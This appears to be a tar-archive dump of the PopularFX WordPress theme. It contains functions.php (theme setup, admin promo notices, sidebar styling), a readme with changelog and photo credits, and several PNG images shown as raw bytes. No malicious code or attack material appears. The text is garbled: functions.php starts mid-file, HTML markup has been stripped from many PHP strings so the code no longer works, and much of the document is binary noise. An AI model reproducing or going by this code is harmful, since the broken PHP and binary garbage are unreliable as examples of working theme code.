?????????????? functions.php000064400000061720152507063360007302 0ustar00 tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); // This theme uses wp_nav_menu() in two locations. register_nav_menus( array( 'primary' => __( 'Primary Menu', 'popularfx' ), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'style', 'script', ) ); // Add theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); /** * Add support for core custom logo. * * @link https://codex.wordpress.org/Theme_Logo */ add_theme_support( 'custom-logo', array( 'height' => 250, 'width' => 250, 'flex-width' => true, 'flex-height' => true, ) ); global $pagelayer, $popularfx; if(!empty($pagelayer->settings)){ $pagelayer->template_call_sidebar = 1; } // Show promos popularfx_promos(); $template = popularfx_get_template_name(); if(empty($template)){ // Set up the WordPress core custom background feature. add_theme_support('custom-background', apply_filters( 'popularfx_custom_background_args', array( 'default-color' => 'ffffff', 'default-image' => '', ) ) ); add_theme_support( 'custom-header', apply_filters( 'popularfx_custom_header_args', array( 'default-image' => '', 'default-text-color' => '000000', 'width' => 1200, 'height' => 250, 'flex-height' => true, 'wp-head-callback' => 'popularfx_header_style', ) ) ); add_theme_support( 'custom-logo', array( 'height' => 250, 'width' => 250, 'flex-width' => true, 'flex-height' => true, ) ); } // Add woocommerce support add_theme_support( 'woocommerce', array( 'product_grid' => array( 'min_columns'=> 1, 'max_columns' => 6, ), ) ); add_theme_support( 'wc-product-gallery-lightbox' ); add_theme_support( 'wc-product-gallery-slider' ); } } add_action( 'after_setup_theme', 'popularfx_setup' ); /** * Set the content width in pixels, based on the theme's design and stylesheet. * * Priority 0 to make it available to lower priority callbacks. * * @global int $content_width */ function popularfx_content_width() { // This variable is intended to be overruled from themes. // Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}. // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound $GLOBALS['content_width'] = apply_filters( 'popularfx_content_width', 640 ); } // To get activated template for parent and child theme function popularfx_get_template_name(){ $tmp = get_option('theme_mods_popularfx'); $mods = !empty($tmp['popularfx_template']) ? $tmp['popularfx_template'] : ''; return $mods; } // Backward compat function popularfx_copyright(){ return popularfx_theme_credits(); } // Show credit of our theme function popularfx_theme_credits(){ return ''.__('PopularFX Theme', 'popularfx').''; } // Shows the promos function popularfx_promos(){ if(is_admin() && current_user_can('install_themes')){ //remove_theme_mod('popularfx_getting_started'); //remove_theme_mod('popularfx_templates_promo'); //remove_theme_mod('popularfx_show_promo'); // Show the getting started video option $seen = get_theme_mod('popularfx_getting_started'); if(empty($seen)){ add_action('admin_notices', 'popularfx_getting_started_notice'); } // Show the promo popularfx_maybe_promo([ 'after' => 1,// In days 'interval' => 30,// In days 'pro_url' => POPULARFX_PRO_URL, 'rating' => 'https://wordpress.org/themes/popularfx/#reviews', 'twitter' => 'https://twitter.com/PopularFXthemes?status='.rawurlencode('I love #PopularFX Theme by @pagelayer team for my #WordPress site - '.esc_url(home_url())), 'facebook' => 'https://facebook.com/popularfx', 'website' => POPULARFX_WWW_URL, 'image' => POPULARFX_URL.'/images/popularfx-logo.png', 'name' => 'popularfx_show_promo' ]); $template = popularfx_get_template_name(); if(empty($template)){ // Show the image promo popularfx_maybe_promo([ 'after' => 0,// In days 'interval' => 30,// In days 'pro_url' => POPULARFX_PRO_URL, 'rating' => 'https://wordpress.org/themes/popularfx/#reviews', 'twitter' => 'https://twitter.com/PopularFXthemes?status='.rawurlencode('I love #PopularFX Theme by @pagelayer team for my #WordPress site - '.esc_url(home_url())), 'facebook' => 'https://facebook.com/popularfx', 'website' => POPULARFX_WWW_URL, 'image' => POPULARFX_URL.'/images/popularfx-logo.png', 'name' => 'popularfx_templates_promo' ]); } //delete_option('popularfx_templates_promo'); } } add_action( 'after_switch_theme', 'popularfx_promos', 10 ); /** * Register widget area. * * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar */ function popularfx_widgets_init() { register_sidebar( array( 'name' => esc_html__( 'Sidebar', 'popularfx' ), 'id' => 'sidebar-1', 'description' => esc_html__( 'Add widgets here.', 'popularfx' ), 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', ) ); } add_action( 'widgets_init', 'popularfx_widgets_init' ); // URL of the PFX templates uploads dir function popularfx_templates_dir_url(){ $template = popularfx_get_template_name(); $style = get_template_directory().'/templates/'.$template.'/style.css'; if(file_exists($style)){ return get_stylesheet_directory_uri().'/templates'; } $dir = wp_upload_dir(NULL, false); return $dir['baseurl'].'/popularfx-templates'; } // URL of the PFX templates uploads dir function popularfx_templates_dir($suffix = true){ $template = popularfx_get_template_name(); $style = get_template_directory().'/templates/'.$template.'/style.css'; if(file_exists($style)){ return get_template_directory().'/templates'.($suffix ? '/'.$template : ''); } $dir = wp_upload_dir(NULL, false); return $dir['basedir'].'/popularfx-templates'.($suffix ? '/'.$template : ''); } /** * Enqueue scripts and styles. */ function popularfx_scripts() { $template = popularfx_get_template_name(); if(!empty($template) && defined('PAGELAYER_VERSION')){ wp_enqueue_style( 'popularfx-style', popularfx_templates_dir_url().'/'.$template.'/style.css', array(), POPULARFX_VERSION ); }else{ wp_enqueue_style( 'popularfx-style', get_template_directory_uri().'/style.css', array(), POPULARFX_VERSION ); wp_style_add_data( 'popularfx-style', 'rtl', 'replace' ); } // Enqueue sidebar.css wp_enqueue_style( 'popularfx-sidebar', get_template_directory_uri().'/sidebar.css', array(), POPULARFX_VERSION ); // Dashicons needed for WooCommerce and Scroll to Top if(class_exists( 'WooCommerce' ) || get_theme_mod('pfx_enable_scrolltop')){ wp_enqueue_style('dashicons'); } // Enqueue WooCommerce CSS if(class_exists( 'WooCommerce' )){ wp_enqueue_style( 'popularfx-woocommerce', get_template_directory_uri().'/woocommerce.css', array(), POPULARFX_VERSION ); wp_style_add_data( 'popularfx-woocommerce', 'rtl', 'replace' ); } wp_enqueue_script( 'popularfx-navigation', get_template_directory_uri().'/js/navigation.js', array('jquery'), POPULARFX_VERSION, true ); if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } } add_action( 'wp_enqueue_scripts', 'popularfx_scripts' ); function popularfx_the_title($before = '', $after = '', $echo = true){ if(is_page()){ return; } the_title($before, $after, $echo); } // Show the templates promo function popularfx_templates_promo(){ global $popularfx_promo_opts, $popularfx; if(!empty($GLOBALS['pfx_notices_shown'])){ return; } $GLOBALS['pfx_notices_shown'] = 1; $opts = $popularfx_promo_opts['popularfx_templates_promo']; echo '

Dismiss '.__('Did you know PopularFX comes with 500+ Templates to design your website.
Click to choose your template !', 'popularfx').'

'.(empty($opts['pro_url']) || !empty($popularfx['license']) ? '' : ''.__('Buy PopularFX Pro', 'popularfx').'').' '.(empty($opts['rating']) ? '' : ''.__('Rate it 5★\'s', 'popularfx').'').' '.(empty($opts['facebook']) ? '' : ' '.__('Facebook', 'popularfx').'').' '.(empty($opts['twitter']) ? '' : ' '.__('Tweet', 'popularfx').'').' '.(empty($opts['website']) ? '' : ''.__('Visit our website', 'popularfx').'').'

'; } function popularfx_getting_started_notice(){ if(!empty($GLOBALS['pfx_notices_shown'])){ return; } $GLOBALS['pfx_notices_shown'] = 1; // Are we to disable the promo if(isset($_GET['popularfx-getting-started']) && (int)$_GET['popularfx-getting-started'] == 0){ check_ajax_referer('popularfx_getting_started_nonce', 'popularfx_nonce'); set_theme_mod('popularfx_getting_started', time()); die('DONE'); } echo '

'.__('Thanks for choosing PopularFX. We recommend that you see the PopularFX Theme Guide Video to know the basics of PopularFX.', 'popularfx').'

'; } // Show promo notice on dashboard function popularfx_show_promo($opts = []){ global $popularfx_promo_opts, $popularfx; if(!empty($GLOBALS['pfx_notices_shown'])){ return; } $GLOBALS['pfx_notices_shown'] = 1; $opts = $popularfx_promo_opts['popularfx_show_promo']; echo '
'; if(!empty($opts['image'])){ echo ''; } echo '

'.sprintf( __('We are glad you are using %1$s to build your website. We really appreciate it !
We would like to request you to give us a 5 Star rating on %2$s.
It will greatly boost our motivation !', 'popularfx'), 'PopularFX', 'WordPress.org').'

'.(empty($opts['pro_url']) || !empty($popularfx['license']) ? '' : ''.__('Buy PopularFX Pro', 'popularfx').'').' '.(empty($opts['rating']) ? '' : ''.__('Rate it 5★\'s', 'popularfx').'').' '.(empty($opts['facebook']) ? '' : ' '.__('Facebook', 'popularfx').'').' '.(empty($opts['twitter']) ? '' : ' '.__('Tweet', 'popularfx').'').' '.(empty($opts['website']) ? '' : ''.__('Visit our website', 'popularfx').'').'

'.(empty($opts['pro_url']) || !empty($popularfx['license']) ? '' : '

'.sprintf( __('%1$s has many more features like 500+ Website %2$s Templates%3$s, 90+ widgets, 500+ sections, Theme Builder, WooCommerce Builder, Theme Creator and Exporter, Form Builder, Popup Builder, etc. You get a Pagelayer Pro license with the PopularFX Pro version.', 'popularfx'), 'PopularFX Pro', '', '').'

').'
'; echo '
'.__('Dismiss', 'popularfx').'


'.__('Install from 500+ Website Templates', 'popularfx').'
'; } // Are we to show a promo ? function popularfx_maybe_promo($opts){ global $popularfx_promo_opts; // There must be an interval if(empty($opts['interval'])){ return false; } // Are we to show a promo $opt_name = empty($opts['name']) ? 'popularfx_show_promo' : $opts['name']; $func = empty($opts['name']) ? $opt_name : $opts['name']; $promo_time = get_theme_mod($opt_name); //echo $opt_name.' - '.$func.' - '.$promo_time.' - '.date('Ymd', $promo_time).'
';die(); // First time access if(empty($promo_time)){ set_theme_mod($opt_name, time() + (!empty($opts['after']) ? $opts['after'] * 86400 : 0)); $promo_time = get_theme_mod($opt_name); } // Is there interval elapsed if(time() >= $promo_time){ $popularfx_promo_opts[$opt_name] = $opts; add_action('admin_notices', $func); } // Are we to disable the promo if(isset($_GET[$opt_name]) && (int)$_GET[$opt_name] == 0){ set_theme_mod($opt_name, time() + ($opts['interval'] * 86400)); die('DONE'); } } // Is the sidebar enabled function popularfx_sidebar(){ // If no widgets in sidebar if ( ! is_active_sidebar( 'sidebar-1' ) ) { return; } $enabled = NULL; // For page if(is_page()){ $enabled = get_theme_mod('popularfx_sidebar_page', 'default'); } $is_product = class_exists('WooCommerce') && is_product() ? true : false; // For products none ! if(is_single() && $is_product){ $enabled = '0'; // For posts }elseif(is_single()){ $enabled = get_theme_mod('popularfx_sidebar_post', 'right'); } // For Archives if(is_archive() || is_home()){ $enabled = get_theme_mod('popularfx_sidebar_archives', 'right'); } // For Woocommerce if(class_exists( 'WooCommerce' ) && is_shop()){ $enabled = get_theme_mod('popularfx_sidebar_woocommerce', 0); } // Load the default if($enabled == 'default' || is_front_page()){ $enabled = get_theme_mod('popularfx_sidebar_default', 0); } // If its disabled if(empty($enabled)){ return; } // In live mode of templates dont show this for header and footer if(function_exists('pagelayer_is_live') && pagelayer_is_live()){ $pl_post_type = get_post_meta($GLOBALS['post']->ID, 'pagelayer_template_type', true); if(in_array($pl_post_type, ['header', 'footer'])){ return; } } return $enabled; } add_action('wp_enqueue_scripts', 'popularfx_sidebar_css', 1000); function popularfx_sidebar_css(){ // Sidebar CSS $enabled = popularfx_sidebar(); if(empty($enabled)){ return; } $width = (int) get_theme_mod('popularfx_sidebar_width', 20); $custom_css = ' aside { width: '.esc_attr($width).'%; float: '.esc_attr($enabled).'; } main, .pagelayer-content{ width: '.round(99 - esc_attr($width)).'% !important; display: inline-block; float: '.esc_attr($enabled == 'left' ? 'right' : 'left').'; }'.PHP_EOL; wp_add_inline_style('popularfx-style', $custom_css); } if ( ! function_exists( 'popularfx_header_style' ) ) : /** * Styles the header image and text displayed on the blog. * * @see popularfx_custom_header_setup(). */ function popularfx_header_style() { $header_text_color = get_header_textcolor(); /* * If no custom options for text are set, let's bail. * get_header_textcolor() options: Any hex value, 'blank' to hide text. Default: add_theme_support( 'custom-header' ). */ if ( get_theme_support( 'custom-header', 'default-text-color' ) === $header_text_color ) { return; } // If we get this far, we have custom styles. Let's do this. ?> Scroll to Top'; } } /** * Custom template tags for this theme. */ require dirname( __FILE__ ) . '/inc/template-tags.php'; /** * Functions which enhance the theme by hooking into WordPress. */ require dirname( __FILE__ ) . '/inc/template-functions.php'; /** * Customizer additions. */ require dirname( __FILE__ ) . '/inc/customizer.php'; /** * Load WooCommerce compatibility file. */ if ( class_exists( 'WooCommerce' ) ) { require dirname( __FILE__ ) . '/inc/woocommerce.php'; } // Update the theme require_once dirname( __FILE__ ) . '/inc/popularfx.php'; footer.php000064400000001720152507063360006562 0ustar00 readme.txt000064400000021677152507063360006566 0ustar00=== PopularFX === Contributors: pagelayer License: LGPL-2.1-or-later License URI: https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html Tags: custom-background, custom-logo, custom-menu, featured-images, threaded-comments, translation-ready, entertainment, full-width-template, one-column, two-columns, left-sidebar, e-commerce, right-sidebar, microformats, post-formats, theme-options, blog, rtl-language-support Requires at least: 4.5 Tested up to: 6.7 Requires PHP: 5.5 Stable tag: 1.2.6 A starter theme called PopularFX. == Description == PopularFX is a lightweight theme to make beautiful websites with Pagelayer. PopularFX can be used for a blogging site, WooCommerce Store, Business website, personal portfolio, etc. It is also specially tailored for Pagelayer so that you can use the drag and drop features to easily build your website ! It is a simple and fast base theme. We hope you enjoy building your site with PopularFX. Features : # Lightweight # WooCommerce Ready # Responsive # RTL # Translation Ready # Supports Pagelayer # Simple Design == Installation == = From within WordPress = 1. Visit "Appearance > Themes > Add New" 2. Search for "PopularFX" 3. Install and activate == Frequently Asked Questions == = Does this theme support any plugins? = PopularFX includes support for Pagelayer, WooCommerce and for Infinite Scroll in Jetpack. == Changelog == = 1.2.6 - Nov 09 2024 = * [Task] Tested compatibility with WordPress 6.7. * [Security-fix] Some strings were not translated. This is fixed. = 1.2.5 - Feb 02 2024 = * [Security-fix] There was a privilege check failure which has been fixed. = 1.2.2 - Dec 17 2021 = * Customizer Max width bug fixed * PHP 8 Compatibility * WooCommerce Products Archive fix to set 1 column = 1.2.1 - Oct 01 2021 = * Added Scroll to Top Feature * WooCommerce design improvement and compatibily has been improved * Google Fonts list has been updated * Pagelayer compatibily has been improved * Child themes are now fully supported * WooCommerce sidebar option added * Added support for Alpha color in our customizer settings = 1.2.0 - Jan 22 2021 = * WooCommerce compatibily improved ! = 1.1.9 - Jan 4 2021 = * Customizer changes to fix the CSS code that was visible = 1.1.8 - Nov 11 2020 = * Added a check so that only 1 notice is shown at any point in time = 1.1.7 - Nov 4 2020 = * Added getting started video link = 1.1.6 - Nov 2 2020 = * Updated some URLs which were no escaped with esc_url = 1.1.5 - Oct 27 2020 = * If the templates and pages were more than 10, the header or footer edit links were not shown in the Customizer = 1.1.4 - Oct 14 2020 = * Major bug fix for pfx-template style.css getting deleted on theme update. = 1.1.3 - Oct 13 2020 = * Blog template responsive improvement = 1.1.2 - Oct 11 2020 = * Updated templates.png = 1.1.1 - Oct 9 2020 = * Buttons changed to core UI buttons = 1.1.0 - Oct 7 2020 = * Changed screenshots and made other changes as required by the WordPress Theme Team = 1.0.9 - Sept 26 2020 = * Added option to see Pagelayer templates in Customizer * Removed unnecessary codes = 1.0.8 - Sept 21 2020 = * Fixed woocommerce support = 1.0.7 - Sept 19 2020 = * Fixed background color, custom header and custom logo = 1.0.4 - Aug 28 2020 = * wp_body_open() fallback added = 1.0.4 - Aug 26 2020 = * Changes made after Theme Review = 1.0.3 - Aug 17 2020 = * The content width bug is now fixed = 1.0.2 - Aug 11 2020 = * Screenshot updated another time * Made small changes to the code = 1.0.1 - Aug 11 2020 = * Screenshot updated to a simpler one = 1.0 - Aug 11 2020 = * Initial release == Credits == * normalize.css https://necolas.github.io/normalize.css/, (C) 2012-2018 Nicolas Gallagher and Jonathan Neal, [MIT](https://opensource.org/licenses/MIT) * PopularFX Template Screenshot contains fonts from https://fontawesome.com/ which is GPL compatible : https://fontawesome.com/license/free * Some parts of _s theme are incorporated in this theme and are licensed under GPLv3 * Logos of Loginizer, Pagelayer, PopularFX are owned by Pulkit Gupta who are the creators of this theme. * Facebook, Twitter logos are properties of their respective owners ! == templates.png Credits == /*-------------------------------------------------------------- ## Blossom Template --------------------------------------------------------------*/ --------------------- Pxhere --------------------- https://pxhere.com/en/photo/1564919 https://pxhere.com/en/photo/991341 https://pxhere.com/en/photo/1254723 https://pxhere.com/en/photo/1119894 https://pxhere.com/en/photo/1602065 https://pxhere.com/en/photo/61089 https://pxhere.com/en/photo/31512 https://pxhere.com/en/photo/1121354 https://pxhere.com/en/photo/1594483 https://pxhere.com/en/photo/1409975 https://pxhere.com/en/photo/965001 https://pxhere.com/en/photo/853252 https://pxhere.com/en/photo/720315 https://pxhere.com/en/photo/1412037 https://pxhere.com/en/photo/1553541 https://pxhere.com/en/photo/1169820 https://pxhere.com/en/photo/1037315 https://pxhere.com/en/photo/1284323 https://pxhere.com/en/photo/559486 https://pxhere.com/en/photo/759714 https://pxhere.com/en/photo/1077931 /*-------------------------------------------------------------- ## Chemist Template --------------------------------------------------------------*/ --------------------- Pixy --------------------- https://pixy.org/4766679/ --------------------- Pxhere --------------------- https://pxhere.com/en/photo/968144 https://pxhere.com/en/photo/1537787 https://pxhere.com/en/photo/1550101 https://pxhere.com/en/photo/198299 https://pxhere.com/en/photo/778248 https://pxhere.com/en/photo/1283019 https://pxhere.com/en/photo/1107101 https://pxhere.com/en/photo/1107120 https://pxhere.com/en/photo/878136 https://pxhere.com/en/photo/968149 https://pxhere.com/en/photo/1446751 https://pxhere.com/en/photo/1215588 https://pxhere.com/en/photo/1194636 https://pxhere.com/en/photo/695270 https://pxhere.com/en/photo/1005258 https://pxhere.com/en/photo/655882 /*-------------------------------------------------------------- ## Foodies Template --------------------------------------------------------------*/ --------------------- Pxhere --------------------- https://pxhere.com/en/photo/913533 https://pxhere.com/en/photo/1597798 https://pxhere.com/en/photo/1046506 https://pxhere.com/en/photo/927054 https://pxhere.com/en/photo/889300 https://pxhere.com/en/photo/1411428 https://pxhere.com/en/photo/1594964 https://pxhere.com/en/photo/1593578 https://pxhere.com/en/photo/1603588 https://pxhere.com/en/photo/1417897 https://pxhere.com/en/photo/1608257 https://pxhere.com/en/photo/780582 https://pxhere.com/en/photo/1046506 https://pxhere.com/en/photo/595291 https://pxhere.com/en/photo/1435659 https://pxhere.com/en/photo/992355 https://pxhere.com/en/photo/1568155 https://pxhere.com/en/photo/1418585 https://pxhere.com/en/photo/1410472 https://pxhere.com/en/photo/671156 https://pxhere.com/en/photo/181538 https://pxhere.com/en/photo/833171 https://pxhere.com/en/photo/121607 https://pxhere.com/en/photo/99177 https://pxhere.com/en/photo/1418590 https://pxhere.com/en/photo/1417896 https://pxhere.com/en/photo/1553541 https://pxhere.com/en/photo/1037315 https://pxhere.com/en/photo/759714 /*-------------------------------------------------------------- ## Asana Template --------------------------------------------------------------*/ --------------------- Pxhere --------------------- https://pxhere.com/en/photo/826128 https://pxhere.com/en/photo/1604353 https://pxhere.com/en/photo/1332200 https://pxhere.com/en/photo/1556311 https://pxhere.com/en/photo/977078 https://pxhere.com/en/photo/1198258 https://pxhere.com/en/photo/1161475 https://pxhere.com/en/photo/861619 https://pxhere.com/en/photo/1038451 https://pxhere.com/en/photo/1351808 https://pxhere.com/en/photo/542275 https://pxhere.com/en/photo/1621514 https://pxhere.com/en/photo/1613007 https://pxhere.com/en/photo/1575045 https://pxhere.com/en/photo/1029212 https://pxhere.com/en/photo/1391675 https://pxhere.com/en/photo/1394621 https://pxhere.com/en/photo/1622675 https://pxhere.com/en/photo/949488 https://pxhere.com/en/photo/1622692 https://pxhere.com/en/photo/1084638 https://pxhere.com/en/photo/661351 https://pxhere.com/en/photo/1621388 https://pxhere.com/en/photo/1575051 https://pxhere.com/en/photo/1179715 /*-------------------------------------------------------------- ## Snowski Template --------------------------------------------------------------*/ --------------------- Pxhere --------------------- https://pxhere.com/en/photo/1365738 https://pxhere.com/en/photo/1397434 https://pxhere.com/en/photo/751317 https://pxhere.com/en/photo/661555 https://pxhere.com/en/photo/650719 https://pxhere.com/en/photo/751317 https://pxhere.com/en/photo/45600 https://pxhere.com/en/photo/918955 https://pxhere.com/en/photo/136447 https://pxhere.com/en/photo/1204 https://pxhere.com/en/photo/139188 https://pxhere.com/en/photo/1390051 https://pxhere.com/en/photo/1592318 https://pxhere.com/en/photo/1260422 https://pxhere.com/en/photo/1603805 https://pxhere.com/en/photo/511929 https://pxhere.com/en/photo/1405993 images/popularfx-logo-menu.png000064400000001473152507063360012453 0ustar00PNG  IHDRUsRGB, pHYs.#.#x?vVPLTEThrtRNS  omMgSXs4Е ` +CDb!2l(Ӝf~ B"hb RY9 yE% &,: z  FQ5SY3s SK +k=03+DCKۇj]DJCp aQ10H&$&I$3#\-*f.àlSaBȂBtA{ig"ggIENDB`images/wpcentral_product.png000064400000022517152507063360012274 0ustar00PNG  IHDR7%WWtEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp N!aIDATx} UvwtH#}  ~~ #( pdFH a Qa M YI:[o{zoW{z :ݼVսRB,IJg XbK,{Q;K B gRxgg:i{cL x9/)نWyѕ[ߌbt@v>Gϧ`rc >/]pU!Yju( Agz,<_\sqˌ={0|J!9vfCL-ô̡'M?89T T/B5iaBڈk7XY<Ց3v]  W`f]rDia5b{7NfR4y$-0An!} @tQ%!dXbʚH_L#q9+͢8RtyŻEпFP4H89bIQ13>yfx#qe WڬtFj2yr Ĕ=XjzMx.cN? -n~|@b#r//Ң0' ya֬YH\ @ƅ. LaXLiLb6K3 t$;rFS9k vQ>3ge2˘nEkhYD {b{,=̆!9cC%~~#h@W+;yzÍ1saOW\nBwidoOu}m uuu`l2{glxQ2zڀVQ}j/1묭F XZE ^lE28r?j v@O!i-4X/Nʼnǁ +uA'k@ iqC[ !Z]ҫ\z߹A=M9T@3Q>v )z/ͅg޵˧0ȷ@ͧ!O>DX0&lX#gow8b/H_`X~ glbMw}tR UrF3/en~.Ż%}㚏f `/`I?1Y.m^h̫A!w9{Q) <\dB1&gcNi RݐǛD8w7h M, й[Ƀ!%v5`&{z]F綖sS>tEYx $v?8PI#t bV œDz$Kzϩq,K9. )yN؟L\Q#l`?K06F-3ηwkrt4S+* W{[JG8YZ7srdXh<h{k,S@Y:x ӛ<4 2k0-߁P:GRٴQPj5W15՘Lb8o3TεD(VR* ]L=C%FL-QNovl 0Fu3!Z٫R 0-n:,-;.wZLhdx0֯HB[@5j4&mBs_ΰXiTOUOp9C<"j-xXޅi_L-\)@huKLߤO)ѵS苨Fv1&)lt'ݧ默f?!R>+L?T|M9ކ*Lt`kap^zVVu]y@ D[@Ѐ(w 0}_EH ~O2p+n2u+Tf$|o}"Q=ƙ6ZJªRٜ5,~:*/dEoA9BN@Xcj!Ǥ@JSu ʃl*[L%Vz2jrk }Ӱ*uc "$B* W!Tߪuӿ-̠:uj+Ӊ`66F{+9pFݳ`s\tHZ6natz6%|uyn"ɹRk\ 3sD265_\8<#y#J~%Sއy%{F'BNF@VDPl'O׬h|Yư3nғd n0|EEWoѶyL {R)I~]B rg^ДhbOS!F{ [czu4j;v[zHD !%et;fLb/ 74^_۳j. Q9n7i1/.,"eSYLKexQc^;I /77lgu U[*xU .J@iU שG6)_{vD[@R<%lqTP )+: 'n$QEx<مMRKɨj  `= wRpLE[\cv@" tיLvB23#kZVbxt>[Wl CT򤎧H{I_z[N>νבr?%fOcYKEfKh*\ewOfuN] Ei!м6sfm\\~FE"@͡ H_2+Xn}zQAƕ8X&s1?p*D7)gxoɕIgsDĽ[٤},_82J] Ugt䓲 X; LӢgB gѨq-r Y@FuKt]!;FwO=+1"k' D_ ]f*P~KDFؗ MTKT!/O79tdHԱTQyM{K~PyniZqcg";Cb a9@\-֗ht;|m 4^vKf@KL D砚AA4X' vÊhqׯ/xˈA=!G;/hx*FE/zz[-h>J<ߘ0:&oAߜ9*>9zF |CS&i(PI%^q+ <",N`sr#)s!ƺ(NFvyHiAHEkv$X|/vgdi?Sq  <Gݹa[b^$DGPhawe 0ORb) ;o8vipI/s^ޥ=SMg[+@]Q,If)hvBJ+sN E}hvh{$t 3UlJ?%eYEb?}ʆ>Y\ .2Sr2*2x>tz(ADs9{{!=q^ *8a9hi; \ﲯjm-P^y- ݿI ]8޾LkeA R$ׇs'{{#yڌb+!#-:SsÆd/ʟȻJ9!t?A%!4Q/嬔'?^0CZՀjgkx[*)]'mmiɔ(c@9*a5mHȑi2yFV5vs# ןQn:2*p=MTPBmԂWQe )s.R" +HǮ wLIǚslE\(`cq“[ŪgHK3& PGe fS״u;,:$v%0Se}XbFM$k } #7fzQ1 E:tSqڋ#D<|rwR各{+jw?h.HɌSF,h;=8Va(9o.G-XOk֜ȼ)efOQ*$x!݃=^AxURD Y6} !t+~/F^TP[v3 ^gnW89i9/ WT4X(zvx~nNrkÕ`yakh DSw9]5t3v >?ܥEgn8[*kG6ޏw]DeNmD:^!'d~RܻB ,9o>>>3fyW@h:E,mPyjKjě=V+  U|?ttMϯ\@(& BTF(0ؑ3:$"Tw/`S_XKc ka-A` zdrS୔frHeCnj ?8+@+>Ɣ*(9s|$<5vY7$J&Zv% b2@&_W佞w٬ϣ8qV ] r4~mvP=bPWB  5,؃ڞC ȈԱkC H}b8Cǡ{js^w}߀rĈD A:ZHNɫ7hW'>Z.*?a{IHGPc b)aC=t o )2.Y:Cբ4{dSSrdiQZtK-A{&ބb^pѨ$$J~OYȒqDke/ͣ+k{(z2tPq| jPGxpW(}&EBUyN#j۬J>#E mHv{o%Q -5ǩO+]jpn곬&̒+&=Tk|Z)`?RWU A֚s&\g, /XvkyiiKBވw0FT$>dyrZ }c)Y:5 3NLqV`|:b`}iQjGYo66wHb?cbE/7̈́ ˉ˦k [Ox&M؁4%MuW=U-/Hn4w#U̷΃lL$?_|˲vE? S ;j.O/qa`m$%UHjx}l=ڈ ]匦R.R52垩uo#myhSyjPxEf;t6 8{g_bBt,xRM"ׅ~Bk[Q,ʊ7mM~ܤ nSLnssd:jZNI- 00n쓅s* 7bW,D9ҹ`411vŠ{ޘn{۷@sd܄W4((pwf^^dW*{!p]L|)edr? 3Jt,b?> K,f娐(q\:`+<"RCbV̔±b#mNX: L?'grop 0&r;|[t.7o 5) v7:_ӁOk} GB{ 5nWb^Vj5o?R̐`l#dh3T<0ʓWrJ{m%A:VchJZZɳnݎ<^UK,d*H(c6&e?~89Yg-RnS >w*X=@4nNS(-ΈOSL<_666“O>RiAD`탑13- 5JbK0,et!Ӏ }o;)=+|3%[ /r osYfle3H?Oe{ҹ<9e]'R2<f?lu7X|tPZ) }fcĸv ^1>aq.3yO8tag橕Zє0- YZfIy e.5QYY}9//5) F}]@xܽK,= ]^Cs`,IdD5U2^H,=%z jg揮Yயvw=X=XbٳEK,{OdRzIENDB`images/pagelayer_product.png000064400000006434152507063360012246 0ustar00PNG  IHDR@< ٓsRGB, pHYs  7PLTEUqfm|aY^tRNS .Ngy]?-rMfIp&Tݬ 48 p@i(ϯ P`Q*2b֊+z0E߈%e0`D"\O[k tPu6 ܐ{3Xdz}!=$o1m/VaBRH)zxx IDATxLJ D]d" *R҇ګfaP;& M4ѐx]oU әVUWzjhТ->fT?*|TDNXZOM\5V֌ڲo֞C >zB:myLc3^65jX7v{Yg̱9./M6tLǵ˟ԖFmXj[{7> 3ըZdW~)pV'.w~ ,[q=?=N7]vKH3P߸cpR.29ӹ횬` [=>篸RA4m٦OٹnI 3$h7Lp|^Gwe)zxoӸY7DL7ٗ S1lv78[oQʬ9 !HXF_ O%)bQlq8{&se_rw\`#4(vȴtf~xX&?-`t (IkhjdU64-D fhFZ.˪jߏc;Wjpm8UNbnyDZ;(kg(d~"u.)G x8MHd~bߍՄiwa72A;Dⅿ)m)== _ 0Hցs5lHMa ^~%s~˄?܍`@A |vm`-mGP›ҬrG[!%[ oK).ш c2w-`./d1},c35yMK@so6FQVt2t4L\uK ~i92ζ2Ds#6u&#kE8("(ʴa?Er=`LInA.Q4r[؅XLGeレ D"s|n &w.[mV4P&q#>htܡTL=-@@,,Vm0M:4E]0~#mÚpPab( d> '"H=_? 98Cfmz^-c5|JB&o> ReoF\.w`xM e3`BS.\RfErcq#»rMX@IhŤp@QHVa092EZyCs:\-@)A.(OJ۟Wԯ IeK X*%R Bz ?s"^X-)rZP.s7F:1tbl=,KJSF eavCE)RՖ#1̴eeȅ^ɭnd_|,/k|$0 =y=9tBL`ra{eīe 8tV$he:á 6:I]H WGd$^b@g 8@@@MXʳŎ(Ѡu::WP٬qf8)GlЩgHr!.xKa|_~vF,%?aBe @/{؄:r̭^yKqL:53ЬL L-zS\26qL{ՄrQɄHKxX^~6AlD"\TtF wnykoV Ð6[ ||lk-&hriE:|<뎗c pBë)vGqBbc;ϊnc;'RyhLݵ~ˑ[fpHo嗆zQ3XqЇaV{ pgC^q)6uQ 0InODo袼tu"/TW@6ƍ80 30{q2.\zeH{8dg]=Y;fGi+\]m} +upǮ?i DqFtJIENDB`images/color-picker-transparency-grid.png000064400000005126152507063360014555 0ustar00PNG  IHDR_tEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp wPHIDATxڬ\QH T. dC$>yHݒUѧգ1///<}m?3s?~~j?}~_x^d깯mƳ䳯䐍k!lL3O?{S~NW}n7Pts.NU}?4[]WvHysBY(g7q`1j8hQ5/kX}\aWn ApX a0(\cT ɢ"; %1d d}țA͓ `C}5;\M'qaz׎ 1PJٔad,nס~0WmtN,]g&f Y0Je9 X 